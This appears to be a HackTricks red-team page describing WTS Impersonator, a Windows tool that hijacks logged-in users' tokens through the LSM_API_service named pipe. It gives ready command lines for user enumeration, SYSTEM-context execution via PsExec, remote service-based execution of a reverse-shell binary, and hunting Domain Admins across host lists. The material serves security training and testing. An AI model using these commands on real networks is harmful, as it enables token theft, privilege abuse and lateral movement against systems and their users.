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{% endhint %} The **WTS Impersonator** tool exploits the **"\\pipe\LSM_API_service"** RPC Named pipe to stealthily enumerate logged-in users and hijack their tokens, bypassing traditional Token Impersonation techniques. This approach facilitates seamless lateral movements within networks. The innovation behind this technique is credited to **Omri Baso, whose work is accessible on [GitHub](https://github.com/OmriBaso/WTSImpersonator)**. ### Core Functionality The tool operates through a sequence of API calls: ```powershell WTSEnumerateSessionsA → WTSQuerySessionInformationA → WTSQueryUserToken → CreateProcessAsUserW ``` ### Key Modules and Usage - **Enumerating Users**: Local and remote user enumeration is possible with the tool, using commands for either scenario: - Locally: ```powershell .\WTSImpersonator.exe -m enum ``` - Remotely, by specifying an IP address or hostname: ```powershell .\WTSImpersonator.exe -m enum -s 192.168.40.131 ``` - **Executing Commands**: The `exec` and `exec-remote` modules require a **Service** context to function. Local execution simply needs the WTSImpersonator executable and a command: - Example for local command execution: ```powershell .\WTSImpersonator.exe -m exec -s 3 -c C:\Windows\System32\cmd.exe ``` - PsExec64.exe can be used to gain a service context: ```powershell .\PsExec64.exe -accepteula -s cmd.exe ``` - **Remote Command Execution**: Involves creating and installing a service remotely similar to PsExec.exe, allowing execution with appropriate permissions. - Example of remote execution: ```powershell .\WTSImpersonator.exe -m exec-remote -s 192.168.40.129 -c .\SimpleReverseShellExample.exe -sp .\WTSService.exe -id 2 ``` - **User Hunting Module**: Targets specific users across multiple machines, executing code under their credentials. This is especially useful for targeting Domain Admins with local admin rights on several systems. - Usage example: ```powershell .\WTSImpersonator.exe -m user-hunter -uh DOMAIN/USER -ipl .\IPsList.txt -c .\ExeToExecute.exe -sp .\WTServiceBinary.exe ``` {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
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{% endhint %}